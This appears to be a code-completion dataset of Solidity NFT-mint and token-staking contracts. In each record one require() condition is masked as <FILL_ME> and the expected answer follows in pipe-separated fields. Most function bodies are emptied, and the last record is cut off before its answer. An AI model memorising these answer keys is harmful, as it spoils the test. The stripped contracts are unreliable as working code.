PRESALE_MINTED + _count <= PRESALE_NFT,
"Exceeds max limit"
);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
require(<FILL_ME>)
require(
_count <= MAX_BY_MINT_IN_TRANSACTION_PRESALE,
"Exceeds max mint limit per tnx"
);
require(
msg.value >= PRESALE_PRICE * _count,
"Value below price"
);
_safeMint(msg.sender, _count);
PRESALE_MINTED = PRESALE_MINTED + _count;
users[msg.sender].presalemint = users[msg.sender].presalemint + _count;
}
function mintSaleNFT(uint256 _count) public payable{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
}
function updateSalePrice(uint256 newPrice) external onlyOwner {
}
function updatePreSalePrice(uint256 newPrice) external onlyOwner {
}
function setSaleStatus(bool status) public onlyOwner {
}
function setPreSaleStatus(bool status) public onlyOwner {
}
function updateSaleMintLimit(uint256 newLimit) external onlyOwner {
}
function updatePreSaleMintLimit(uint256 newLimit) external onlyOwner {
}
function updateSaleSupply(uint256 newSupply) external onlyOwner {
}
function updatePreSaleSupply(uint256 newSupply) external onlyOwner {
}
function updateGiveawaySupply(uint256 newSupply) external onlyOwner {
}
function updateMintLimitPerTransectionPreSale(uint256 newLimit) external onlyOwner {
}
function updateMintLimitPerTransectionSale(uint256 newLimit) external onlyOwner {
}
function updateMerkleRoot(bytes32 newRoot) external onlyOwner {
}
}
| users[msg.sender].presalemint+_count<=MAX_MINT_PRESALE,"Exceeds max mint limit per wallet" | 30,187 | users[msg.sender].presalemint+_count<=MAX_MINT_PRESALE |
"Exceeds max limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract IKNFT is Ownable, ERC721A, ReentrancyGuard {
uint256 public SALE_NFT = 2950;
uint256 public PRESALE_NFT = 2000;
uint256 public GIVEAWAY_NFT = 50;
uint256 public MAX_MINT_PRESALE = 25;
uint256 public MAX_MINT_SALE = 25;
uint256 public MAX_BY_MINT_IN_TRANSACTION_PRESALE = 5;
uint256 public MAX_BY_MINT_IN_TRANSACTION_SALE = 8;
uint256 public PRESALE_PRICE = 4 * 10**16;
uint256 public SALE_PRICE = 5 * 10**16;
uint256 public PRESALE_MINTED;
uint256 public SALE_MINTED;
uint256 public GIVEAWAY_MINTED;
bool public presaleEnable = false;
bool public saleEnable = false;
bytes32 public merkleRoot;
struct User {
uint256 presalemint;
uint256 salemint;
}
mapping (address => User) public users;
string public _baseTokenURI;
constructor() ERC721A("Invisible Kids NFT", "IKNFT") {
}
function mintGiveawayNFT(address _to, uint256 _count) public onlyOwner{
}
function mintPreSaleNFT(uint256 _count, bytes32[] calldata merkleProof) public payable{
}
function mintSaleNFT(uint256 _count) public payable{
require(
saleEnable,
"Sale is not enable"
);
require(<FILL_ME>)
require(
users[msg.sender].salemint + _count <= MAX_MINT_SALE,
"Exceeds max mint limit per wallet"
);
require(
_count <= MAX_BY_MINT_IN_TRANSACTION_SALE,
"Exceeds max mint limit per tnx"
);
require(
msg.value >= SALE_PRICE * _count,
"Value below price"
);
_safeMint(msg.sender, _count);
SALE_MINTED = SALE_MINTED + _count;
users[msg.sender].salemint = users[msg.sender].salemint + _count;
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
}
function updateSalePrice(uint256 newPrice) external onlyOwner {
}
function updatePreSalePrice(uint256 newPrice) external onlyOwner {
}
function setSaleStatus(bool status) public onlyOwner {
}
function setPreSaleStatus(bool status) public onlyOwner {
}
function updateSaleMintLimit(uint256 newLimit) external onlyOwner {
}
function updatePreSaleMintLimit(uint256 newLimit) external onlyOwner {
}
function updateSaleSupply(uint256 newSupply) external onlyOwner {
}
function updatePreSaleSupply(uint256 newSupply) external onlyOwner {
}
function updateGiveawaySupply(uint256 newSupply) external onlyOwner {
}
function updateMintLimitPerTransectionPreSale(uint256 newLimit) external onlyOwner {
}
function updateMintLimitPerTransectionSale(uint256 newLimit) external onlyOwner {
}
function updateMerkleRoot(bytes32 newRoot) external onlyOwner {
}
}
| SALE_MINTED+_count<=SALE_NFT,"Exceeds max limit" | 30,187 | SALE_MINTED+_count<=SALE_NFT |
"Exceeds max mint limit per wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
import "./ERC721A.sol";
import "./Strings.sol";
import "./MerkleProof.sol";
contract IKNFT is Ownable, ERC721A, ReentrancyGuard {
uint256 public SALE_NFT = 2950;
uint256 public PRESALE_NFT = 2000;
uint256 public GIVEAWAY_NFT = 50;
uint256 public MAX_MINT_PRESALE = 25;
uint256 public MAX_MINT_SALE = 25;
uint256 public MAX_BY_MINT_IN_TRANSACTION_PRESALE = 5;
uint256 public MAX_BY_MINT_IN_TRANSACTION_SALE = 8;
uint256 public PRESALE_PRICE = 4 * 10**16;
uint256 public SALE_PRICE = 5 * 10**16;
uint256 public PRESALE_MINTED;
uint256 public SALE_MINTED;
uint256 public GIVEAWAY_MINTED;
bool public presaleEnable = false;
bool public saleEnable = false;
bytes32 public merkleRoot;
struct User {
uint256 presalemint;
uint256 salemint;
}
mapping (address => User) public users;
string public _baseTokenURI;
constructor() ERC721A("Invisible Kids NFT", "IKNFT") {
}
function mintGiveawayNFT(address _to, uint256 _count) public onlyOwner{
}
function mintPreSaleNFT(uint256 _count, bytes32[] calldata merkleProof) public payable{
}
function mintSaleNFT(uint256 _count) public payable{
require(
saleEnable,
"Sale is not enable"
);
require(
SALE_MINTED + _count <= SALE_NFT,
"Exceeds max limit"
);
require(<FILL_ME>)
require(
_count <= MAX_BY_MINT_IN_TRANSACTION_SALE,
"Exceeds max mint limit per tnx"
);
require(
msg.value >= SALE_PRICE * _count,
"Value below price"
);
_safeMint(msg.sender, _count);
SALE_MINTED = SALE_MINTED + _count;
users[msg.sender].salemint = users[msg.sender].salemint + _count;
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) {
}
function updateSalePrice(uint256 newPrice) external onlyOwner {
}
function updatePreSalePrice(uint256 newPrice) external onlyOwner {
}
function setSaleStatus(bool status) public onlyOwner {
}
function setPreSaleStatus(bool status) public onlyOwner {
}
function updateSaleMintLimit(uint256 newLimit) external onlyOwner {
}
function updatePreSaleMintLimit(uint256 newLimit) external onlyOwner {
}
function updateSaleSupply(uint256 newSupply) external onlyOwner {
}
function updatePreSaleSupply(uint256 newSupply) external onlyOwner {
}
function updateGiveawaySupply(uint256 newSupply) external onlyOwner {
}
function updateMintLimitPerTransectionPreSale(uint256 newLimit) external onlyOwner {
}
function updateMintLimitPerTransectionSale(uint256 newLimit) external onlyOwner {
}
function updateMerkleRoot(bytes32 newRoot) external onlyOwner {
}
}
| users[msg.sender].salemint+_count<=MAX_MINT_SALE,"Exceeds max mint limit per wallet" | 30,187 | users[msg.sender].salemint+_count<=MAX_MINT_SALE |
"Token transfer for staking not approved!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC20.sol";
import "./SafeMath.sol";
contract KtlyoStaking {
address public token1;
address public token2;
uint256 public apy;
uint256 public duration;
uint256 public maxStakeAmt1;
uint256 public maxStakeAmt2;
uint256 private interestRate;
uint256 private tokenRatio;
uint256 public rewardAmt1;
uint256 public rewardAmt2;
uint256 private amtRewardRemainingBalance1;
uint256 private amtRewardRemainingBalance2;
uint256 private totalStaked1;
uint256 private totalStaked2;
uint256 private totalRedeemed1;
uint256 private totalRedeemed2;
uint256 private openRewards1;
uint256 private openRewards2;
address public owner;
uint256 public createdAt;
uint256 private daysInYear;
uint256 private secondsInYear;
uint256 private precision = 1000000000000000000;
bool private stakingStarted;
struct Transaction {
address wallet;
address token;
uint256 amount;
uint256 createdAt;
bool redeemed;
uint256 rewardAmt1;
uint256 rewardAmt2;
uint256 redeemedAt;
uint256 stakeEnd;
}
mapping(address => Transaction[]) transactions;
struct MaxLimit {
uint256 limit1;
uint256 limit2;
}
mapping(address => bool) blackListed;
mapping(address => MaxLimit) limits;
modifier onlyOwner {
}
constructor(
address _token1,
address _token2,
uint256 _apy,
uint256 _duration,
uint256 _tokenRatio,
uint256 _maxStakeAmt1,
uint256 _rewardAmt1,
address _owner
) {
}
// return ETH
receive() external payable {
}
// return ETH
fallback() external payable {
}
// callable by owner only
function activate() onlyOwner public {
}
// callable by owner only
function deActivate() onlyOwner public {
}
// callable by owner only
function blackList(address[] memory addressList,bool blStatus) onlyOwner public {
}
// function to stake
function stake(address tokenContract, uint256 amt) public {
uint256 amount_reward1;
uint256 amount_reward2;
uint256 limit1;
uint256 limit2;
require(stakingStarted,"Staking not active");
require(rewardAmt1>SafeMath.add(totalRedeemed1,openRewards1) && rewardAmt2>SafeMath.add(totalRedeemed2,openRewards2),"Rewards are spent. Staking contract is closed.");
require(amtRewardRemainingBalance1 > 0 && amtRewardRemainingBalance2 > 0,"Staking rewards are 0");
require(tokenContract==token1 || tokenContract==token2,"Invalid token contract");
limit1 = limits[msg.sender].limit1;
limit2 = limits[msg.sender].limit2;
if (token1==tokenContract)
{
if (SafeMath.add(amt,limit1)>maxStakeAmt1) amt = SafeMath.sub(maxStakeAmt1,limit1);
limits[msg.sender].limit1 = SafeMath.add(limits[msg.sender].limit1,amt);
amount_reward1 = SafeMath.div(SafeMath.mul(amt,interestRate),precision);
if (amtRewardRemainingBalance1<amount_reward1)
{
amount_reward1 = amtRewardRemainingBalance1;
amt = SafeMath.div(SafeMath.mul(amount_reward1,precision),interestRate);
}
amount_reward2 = SafeMath.div(SafeMath.mul(amount_reward1,tokenRatio),precision);
totalStaked1+=amt;
}
if (token2==tokenContract)
{
if (amt+limit2>maxStakeAmt2) amt = SafeMath.sub(maxStakeAmt2,limit2);
limits[msg.sender].limit2 = SafeMath.add(limits[msg.sender].limit2, amt);
amount_reward2 = SafeMath.div(SafeMath.mul(amt,interestRate),precision);
if (amtRewardRemainingBalance2<amount_reward2)
{
amount_reward2 = amtRewardRemainingBalance2;
amt = SafeMath.div(SafeMath.mul(amount_reward2,precision),interestRate);
}
amount_reward1 = SafeMath.div(SafeMath.mul(amount_reward2,precision),tokenRatio);
totalStaked2+=amt;
}
require(amt>0,"Amount is equal to 0");
amtRewardRemainingBalance1 = SafeMath.sub(amtRewardRemainingBalance1, amount_reward1,"Insufficient rewards balance for token 1");
amtRewardRemainingBalance2 = SafeMath.sub(amtRewardRemainingBalance2, amount_reward2,"Insufficient rewards balance for token 2");
ERC20 tokenERC20 = ERC20(tokenContract);
//transfer token
require(<FILL_ME>)
//create transaction
Transaction memory trx = Transaction(
{
wallet : msg.sender,
token : tokenContract,
amount : amt,
createdAt:block.timestamp,
redeemed : false,
rewardAmt1 : amount_reward1,
rewardAmt2 : amount_reward2,
stakeEnd: SafeMath.add(block.timestamp,duration),
redeemedAt : 0
});
openRewards1+=amount_reward1;
openRewards2+=amount_reward2;
transactions[msg.sender].push(trx);
emit Staked(msg.sender,tokenContract, amt);
}
function redeemTrx(address requestor, uint256 indexId)
internal
returns (uint256 returnAmount, uint256 returnAmount2)
{
}
function redeem(uint256 indexId) public {
}
function redeemAll() public {
}
function redeemEarly(uint256 indexId) public {
}
function redeemEarlyAll() public {
}
function transferReward(address token, uint256 reward_amount) public {
}
function transferBackReward(address token, uint256 reward_amount) onlyOwner public {
}
function info() public view returns(address,uint256,uint256,uint256,uint256,uint256,uint256){
}
function getRewardsInfo() public view returns(address,address,uint256,uint256,uint256,uint256){
}
function getStakeRewardAmounts() public view returns(uint256,uint256,uint256,uint256,uint256,uint256){
}
function getMyInfo() public view returns(Transaction [] memory,MaxLimit memory){
}
function getMyStakings() public view returns(Transaction [] memory){
}
function getStakings(address wallet) public view onlyOwner returns(Transaction [] memory){
}
function getMyLimits() public view returns(MaxLimit memory){
}
function getBlackListedStatus(address wallet) public view returns(bool){
}
event CreatedContract(address token1,address token2,uint256 apy,uint256 duration,uint256 maxStakeAmt1, uint256 maxStakeAmt2, uint256 rewardAmt1,uint256 rewardAmt2,address owner,uint256 createdAt,uint256 interestRate,uint256 tokenRatio);
event Received(address from, uint256 amount);
event Reverted(address from, uint256 amount);
event StartStaking(address from,uint256 startDate);
event StopStaking(address from,uint256 stopDate);
event Staked(address from,address tokenCtr,uint256 amount);
event EarlyRedeemed(address to,uint256 redeemedDate,uint256 amount);
event EarlyRedeemedAll(address to,uint256 redeemedDate,uint256 amount1,uint256 amount2);
event Redeemed(address to,uint256 redeemedDate,uint256 amount1,uint256 amount2);
event RedeemedAll(address to,uint256 redeemedDate,uint256 amount1,uint256 amount2);
event TransferReward(address from,uint256 sentDate,uint256 amount);
event TransferBackReward(address to,uint256 sentDate,uint256 amount);
event AddedToBlackList(address from, uint256 sentDate);
event RemovedFromBlackList(address from, uint256 sentDate);
}
| tokenERC20.transferFrom(msg.sender,address(this),amt),"Token transfer for staking not approved!" | 30,192 | tokenERC20.transferFrom(msg.sender,address(this),amt) |
"Stake is already redeemed or end_date not reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC20.sol";
import "./SafeMath.sol";
contract KtlyoStaking {
address public token1;
address public token2;
uint256 public apy;
uint256 public duration;
uint256 public maxStakeAmt1;
uint256 public maxStakeAmt2;
uint256 private interestRate;
uint256 private tokenRatio;
uint256 public rewardAmt1;
uint256 public rewardAmt2;
uint256 private amtRewardRemainingBalance1;
uint256 private amtRewardRemainingBalance2;
uint256 private totalStaked1;
uint256 private totalStaked2;
uint256 private totalRedeemed1;
uint256 private totalRedeemed2;
uint256 private openRewards1;
uint256 private openRewards2;
address public owner;
uint256 public createdAt;
uint256 private daysInYear;
uint256 private secondsInYear;
uint256 private precision = 1000000000000000000;
bool private stakingStarted;
struct Transaction {
address wallet;
address token;
uint256 amount;
uint256 createdAt;
bool redeemed;
uint256 rewardAmt1;
uint256 rewardAmt2;
uint256 redeemedAt;
uint256 stakeEnd;
}
mapping(address => Transaction[]) transactions;
struct MaxLimit {
uint256 limit1;
uint256 limit2;
}
mapping(address => bool) blackListed;
mapping(address => MaxLimit) limits;
modifier onlyOwner {
}
constructor(
address _token1,
address _token2,
uint256 _apy,
uint256 _duration,
uint256 _tokenRatio,
uint256 _maxStakeAmt1,
uint256 _rewardAmt1,
address _owner
) {
}
// return ETH
receive() external payable {
}
// return ETH
fallback() external payable {
}
// callable by owner only
function activate() onlyOwner public {
}
// callable by owner only
function deActivate() onlyOwner public {
}
// callable by owner only
function blackList(address[] memory addressList,bool blStatus) onlyOwner public {
}
// function to stake
function stake(address tokenContract, uint256 amt) public {
}
function redeemTrx(address requestor, uint256 indexId)
internal
returns (uint256 returnAmount, uint256 returnAmount2)
{
}
function redeem(uint256 indexId) public {
uint256 returnAmount;
uint256 returnAmount2;
require(<FILL_ME>)
(returnAmount,returnAmount2) = redeemTrx(msg.sender,indexId);
ERC20 tokenERC20 = ERC20(token1);
ERC20 tokenERC20t2 = ERC20(token2);
if (returnAmount>0) tokenERC20.transfer(msg.sender, returnAmount);
if (returnAmount2>0) tokenERC20t2.transfer(msg.sender, returnAmount2);
if (transactions[msg.sender][indexId].token==token1) totalStaked1-=transactions[msg.sender][indexId].amount;
else totalStaked2-=transactions[msg.sender][indexId].amount;
totalRedeemed1+=transactions[msg.sender][indexId].rewardAmt1;
totalRedeemed2+=transactions[msg.sender][indexId].rewardAmt2;
emit Redeemed(msg.sender,block.timestamp, returnAmount,returnAmount2);
}
function redeemAll() public {
}
function redeemEarly(uint256 indexId) public {
}
function redeemEarlyAll() public {
}
function transferReward(address token, uint256 reward_amount) public {
}
function transferBackReward(address token, uint256 reward_amount) onlyOwner public {
}
function info() public view returns(address,uint256,uint256,uint256,uint256,uint256,uint256){
}
function getRewardsInfo() public view returns(address,address,uint256,uint256,uint256,uint256){
}
function getStakeRewardAmounts() public view returns(uint256,uint256,uint256,uint256,uint256,uint256){
}
function getMyInfo() public view returns(Transaction [] memory,MaxLimit memory){
}
function getMyStakings() public view returns(Transaction [] memory){
}
function getStakings(address wallet) public view onlyOwner returns(Transaction [] memory){
}
function getMyLimits() public view returns(MaxLimit memory){
}
function getBlackListedStatus(address wallet) public view returns(bool){
}
event CreatedContract(address token1,address token2,uint256 apy,uint256 duration,uint256 maxStakeAmt1, uint256 maxStakeAmt2, uint256 rewardAmt1,uint256 rewardAmt2,address owner,uint256 createdAt,uint256 interestRate,uint256 tokenRatio);
event Received(address from, uint256 amount);
event Reverted(address from, uint256 amount);
event StartStaking(address from,uint256 startDate);
event StopStaking(address from,uint256 stopDate);
event Staked(address from,address tokenCtr,uint256 amount);
event EarlyRedeemed(address to,uint256 redeemedDate,uint256 amount);
event EarlyRedeemedAll(address to,uint256 redeemedDate,uint256 amount1,uint256 amount2);
event Redeemed(address to,uint256 redeemedDate,uint256 amount1,uint256 amount2);
event RedeemedAll(address to,uint256 redeemedDate,uint256 amount1,uint256 amount2);
event TransferReward(address from,uint256 sentDate,uint256 amount);
event TransferBackReward(address to,uint256 sentDate,uint256 amount);
event AddedToBlackList(address from, uint256 sentDate);
event RemovedFromBlackList(address from, uint256 sentDate);
}
| transactions[msg.sender][indexId].redeemed==false&&transactions[msg.sender][indexId].stakeEnd<block.timestamp,"Stake is already redeemed or end_date not reached" | 30,192 | transactions[msg.sender][indexId].redeemed==false&&transactions[msg.sender][indexId].stakeEnd<block.timestamp |
"Stake is already redeemed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC20.sol";
import "./SafeMath.sol";
contract KtlyoStaking {
address public token1;
address public token2;
uint256 public apy;
uint256 public duration;
uint256 public maxStakeAmt1;
uint256 public maxStakeAmt2;
uint256 private interestRate;
uint256 private tokenRatio;
uint256 public rewardAmt1;
uint256 public rewardAmt2;
uint256 private amtRewardRemainingBalance1;
uint256 private amtRewardRemainingBalance2;
uint256 private totalStaked1;
uint256 private totalStaked2;
uint256 private totalRedeemed1;
uint256 private totalRedeemed2;
uint256 private openRewards1;
uint256 private openRewards2;
address public owner;
uint256 public createdAt;
uint256 private daysInYear;
uint256 private secondsInYear;
uint256 private precision = 1000000000000000000;
bool private stakingStarted;
struct Transaction {
address wallet;
address token;
uint256 amount;
uint256 createdAt;
bool redeemed;
uint256 rewardAmt1;
uint256 rewardAmt2;
uint256 redeemedAt;
uint256 stakeEnd;
}
mapping(address => Transaction[]) transactions;
struct MaxLimit {
uint256 limit1;
uint256 limit2;
}
mapping(address => bool) blackListed;
mapping(address => MaxLimit) limits;
modifier onlyOwner {
}
constructor(
address _token1,
address _token2,
uint256 _apy,
uint256 _duration,
uint256 _tokenRatio,
uint256 _maxStakeAmt1,
uint256 _rewardAmt1,
address _owner
) {
}
// return ETH
receive() external payable {
}
// return ETH
fallback() external payable {
}
// callable by owner only
function activate() onlyOwner public {
}
// callable by owner only
function deActivate() onlyOwner public {
}
// callable by owner only
function blackList(address[] memory addressList,bool blStatus) onlyOwner public {
}
// function to stake
function stake(address tokenContract, uint256 amt) public {
}
function redeemTrx(address requestor, uint256 indexId)
internal
returns (uint256 returnAmount, uint256 returnAmount2)
{
}
function redeem(uint256 indexId) public {
}
function redeemAll() public {
}
function redeemEarly(uint256 indexId) public {
uint256 returnAmount;
uint256 returnAmount2;
require(<FILL_ME>)
(returnAmount,returnAmount2) = redeemTrx(msg.sender,indexId);
if (transactions[msg.sender][indexId].stakeEnd>block.timestamp)
{
amtRewardRemainingBalance1 = SafeMath.add(amtRewardRemainingBalance1, transactions[msg.sender][indexId].rewardAmt1);
amtRewardRemainingBalance2 = SafeMath.add(amtRewardRemainingBalance2, transactions[msg.sender][indexId].rewardAmt2);
if (transactions[msg.sender][indexId].token==token1) totalStaked1-=transactions[msg.sender][indexId].amount;
else
{
totalStaked2-=transactions[msg.sender][indexId].amount;
returnAmount = returnAmount2;
}
ERC20 tokenERC20 = ERC20(transactions[msg.sender][indexId].token);
if (returnAmount>0) tokenERC20.transfer(msg.sender, returnAmount);
emit EarlyRedeemed(msg.sender,block.timestamp, returnAmount);
}else{
ERC20 tokenERC20 = ERC20(token1);
ERC20 tokenERC20t2 = ERC20(token2);
if (returnAmount>0) tokenERC20.transfer(msg.sender, returnAmount);
if (returnAmount2>0) tokenERC20t2.transfer(msg.sender, returnAmount2);
if (transactions[msg.sender][indexId].token==token1) totalStaked1-=transactions[msg.sender][indexId].amount;
else totalStaked2-=transactions[msg.sender][indexId].amount;
totalRedeemed1+=transactions[msg.sender][indexId].rewardAmt1;
totalRedeemed2+=transactions[msg.sender][indexId].rewardAmt2;
emit Redeemed(msg.sender,block.timestamp, returnAmount,returnAmount2);
}
}
function redeemEarlyAll() public {
}
function transferReward(address token, uint256 reward_amount) public {
}
function transferBackReward(address token, uint256 reward_amount) onlyOwner public {
}
function info() public view returns(address,uint256,uint256,uint256,uint256,uint256,uint256){
}
function getRewardsInfo() public view returns(address,address,uint256,uint256,uint256,uint256){
}
function getStakeRewardAmounts() public view returns(uint256,uint256,uint256,uint256,uint256,uint256){
}
function getMyInfo() public view returns(Transaction [] memory,MaxLimit memory){
}
function getMyStakings() public view returns(Transaction [] memory){
}
function getStakings(address wallet) public view onlyOwner returns(Transaction [] memory){
}
function getMyLimits() public view returns(MaxLimit memory){
}
function getBlackListedStatus(address wallet) public view returns(bool){
}
event CreatedContract(address token1,address token2,uint256 apy,uint256 duration,uint256 maxStakeAmt1, uint256 maxStakeAmt2, uint256 rewardAmt1,uint256 rewardAmt2,address owner,uint256 createdAt,uint256 interestRate,uint256 tokenRatio);
event Received(address from, uint256 amount);
event Reverted(address from, uint256 amount);
event StartStaking(address from,uint256 startDate);
event StopStaking(address from,uint256 stopDate);
event Staked(address from,address tokenCtr,uint256 amount);
event EarlyRedeemed(address to,uint256 redeemedDate,uint256 amount);
event EarlyRedeemedAll(address to,uint256 redeemedDate,uint256 amount1,uint256 amount2);
event Redeemed(address to,uint256 redeemedDate,uint256 amount1,uint256 amount2);
event RedeemedAll(address to,uint256 redeemedDate,uint256 amount1,uint256 amount2);
event TransferReward(address from,uint256 sentDate,uint256 amount);
event TransferBackReward(address to,uint256 sentDate,uint256 amount);
event AddedToBlackList(address from, uint256 sentDate);
event RemovedFromBlackList(address from, uint256 sentDate);
}
| transactions[msg.sender][indexId].redeemed==false,"Stake is already redeemed" | 30,192 | transactions[msg.sender][indexId].redeemed==false |
"Only Legendary Address can call!" | // pragma solidity ^0.8.7;
contract syac is ERC721, Ownable, Pausable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5555;
uint256 public constant MINT_PRICE = 0.05 ether;
uint256 public constant MAX_MINT_PER_TX = 5;
uint256 constant public LEGENDARY_SUPPLY = 200;
uint256 public totalLegendaryMinted;
mapping(address=>uint) public totalWhiteListMinted;
mapping(address=>uint256) public totalPublicMinted;
mapping(address => bool) public isWhitelisted;
mapping(address=>bool) legandaryAddress;
mapping(bytes32 => bool) private _usedHashes;
bool public saleStarted = false;
bool public preSaleStarted = false;
bool public lock = false;
uint256 public totalSupply = 0;
string public prefixURI;
string public commonURI;
mapping(uint256 => string) public tokenURIs;
constructor() ERC721("Spoiled Young Ape Club", "SYAC") {
}
//modifier
modifier onlyLegandry() {
require(<FILL_ME>)
_;
}
//function to convert uint into string
function uint2str(
uint256 _i
)
internal
pure
returns (string memory str)
{
}
//Encoded Token id
function getTokenId(uint256 _value)public pure returns(string memory){
}
function mintOwner() public onlyOwner {
}
function mintLegendary(uint256 _count, address _account) external onlyLegandry {
}
function mintWhitelist(
uint256 _count)
external
payable
{
}
// Public Mint
function mint(uint256 _count) public payable {
}
function addWhitelist(address[] memory _addresses) external onlyOwner {
}
function removeWhitelist(address[] memory _addresses) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// ** Admin Fuctions ** //
function withdraw(address payable _to) external onlyOwner {
}
function setSaleStarted(bool _hasStarted) external onlyOwner {
}
function setLegendary(address[] memory _legandaryAddress) external onlyOwner {
}
function setPreSaleStarted(bool _hasStarted) external onlyOwner {
}
function lockBaseURI() external onlyOwner {
}
function setPrefixURI(string calldata _uri) external onlyOwner {
}
function setCommonURI(string calldata _uri) external onlyOwner {
}
function setTokenURI(string calldata _uri, uint256 _tokenId) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) override internal virtual {
}
}
| legandaryAddress[msg.sender],"Only Legendary Address can call!" | 30,220 | legandaryAddress[msg.sender] |
"MAX_SUPPLY_REACHED" | // pragma solidity ^0.8.7;
contract syac is ERC721, Ownable, Pausable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5555;
uint256 public constant MINT_PRICE = 0.05 ether;
uint256 public constant MAX_MINT_PER_TX = 5;
uint256 constant public LEGENDARY_SUPPLY = 200;
uint256 public totalLegendaryMinted;
mapping(address=>uint) public totalWhiteListMinted;
mapping(address=>uint256) public totalPublicMinted;
mapping(address => bool) public isWhitelisted;
mapping(address=>bool) legandaryAddress;
mapping(bytes32 => bool) private _usedHashes;
bool public saleStarted = false;
bool public preSaleStarted = false;
bool public lock = false;
uint256 public totalSupply = 0;
string public prefixURI;
string public commonURI;
mapping(uint256 => string) public tokenURIs;
constructor() ERC721("Spoiled Young Ape Club", "SYAC") {
}
//modifier
modifier onlyLegandry() {
}
//function to convert uint into string
function uint2str(
uint256 _i
)
internal
pure
returns (string memory str)
{
}
//Encoded Token id
function getTokenId(uint256 _value)public pure returns(string memory){
}
function mintOwner() public onlyOwner {
}
function mintLegendary(uint256 _count, address _account) external onlyLegandry {
require(<FILL_ME>)
require(totalLegendaryMinted >= LEGENDARY_SUPPLY, "LEGENDARY_NOT_MINTED");
for (uint256 i = 1; i <= _count; i++) {
_safeMint(_account,(totalSupply + i));
}
totalSupply += _count;
}
function mintWhitelist(
uint256 _count)
external
payable
{
}
// Public Mint
function mint(uint256 _count) public payable {
}
function addWhitelist(address[] memory _addresses) external onlyOwner {
}
function removeWhitelist(address[] memory _addresses) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// ** Admin Fuctions ** //
function withdraw(address payable _to) external onlyOwner {
}
function setSaleStarted(bool _hasStarted) external onlyOwner {
}
function setLegendary(address[] memory _legandaryAddress) external onlyOwner {
}
function setPreSaleStarted(bool _hasStarted) external onlyOwner {
}
function lockBaseURI() external onlyOwner {
}
function setPrefixURI(string calldata _uri) external onlyOwner {
}
function setCommonURI(string calldata _uri) external onlyOwner {
}
function setTokenURI(string calldata _uri, uint256 _tokenId) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) override internal virtual {
}
}
| totalSupply+_count<=MAX_SUPPLY,"MAX_SUPPLY_REACHED" | 30,220 | totalSupply+_count<=MAX_SUPPLY |
"INVALID_ETH_SENT" | // pragma solidity ^0.8.7;
contract syac is ERC721, Ownable, Pausable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5555;
uint256 public constant MINT_PRICE = 0.05 ether;
uint256 public constant MAX_MINT_PER_TX = 5;
uint256 constant public LEGENDARY_SUPPLY = 200;
uint256 public totalLegendaryMinted;
mapping(address=>uint) public totalWhiteListMinted;
mapping(address=>uint256) public totalPublicMinted;
mapping(address => bool) public isWhitelisted;
mapping(address=>bool) legandaryAddress;
mapping(bytes32 => bool) private _usedHashes;
bool public saleStarted = false;
bool public preSaleStarted = false;
bool public lock = false;
uint256 public totalSupply = 0;
string public prefixURI;
string public commonURI;
mapping(uint256 => string) public tokenURIs;
constructor() ERC721("Spoiled Young Ape Club", "SYAC") {
}
//modifier
modifier onlyLegandry() {
}
//function to convert uint into string
function uint2str(
uint256 _i
)
internal
pure
returns (string memory str)
{
}
//Encoded Token id
function getTokenId(uint256 _value)public pure returns(string memory){
}
function mintOwner() public onlyOwner {
}
function mintLegendary(uint256 _count, address _account) external onlyLegandry {
}
function mintWhitelist(
uint256 _count)
external
payable
{
require(preSaleStarted, "MINT_NOT_STARTED");
require(totalSupply + _count <= MAX_SUPPLY, "MAX_SUPPLY_REACHED");
require(totalLegendaryMinted >= LEGENDARY_SUPPLY, "LEGENDARY_NOT_MINTED");
require(<FILL_ME>)
require(_count<=3,"You can't mint more than 3");
require(isWhitelisted[msg.sender],"Address isn't Whitelisted");
require(totalWhiteListMinted[msg.sender]+_count<=3,"you can't mint more than 3");
for (uint256 i = 1; i <= _count; i++) {
_safeMint(msg.sender,(totalSupply + i));
}
totalSupply += _count;
totalWhiteListMinted[msg.sender]+=_count;
}
// Public Mint
function mint(uint256 _count) public payable {
}
function addWhitelist(address[] memory _addresses) external onlyOwner {
}
function removeWhitelist(address[] memory _addresses) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// ** Admin Fuctions ** //
function withdraw(address payable _to) external onlyOwner {
}
function setSaleStarted(bool _hasStarted) external onlyOwner {
}
function setLegendary(address[] memory _legandaryAddress) external onlyOwner {
}
function setPreSaleStarted(bool _hasStarted) external onlyOwner {
}
function lockBaseURI() external onlyOwner {
}
function setPrefixURI(string calldata _uri) external onlyOwner {
}
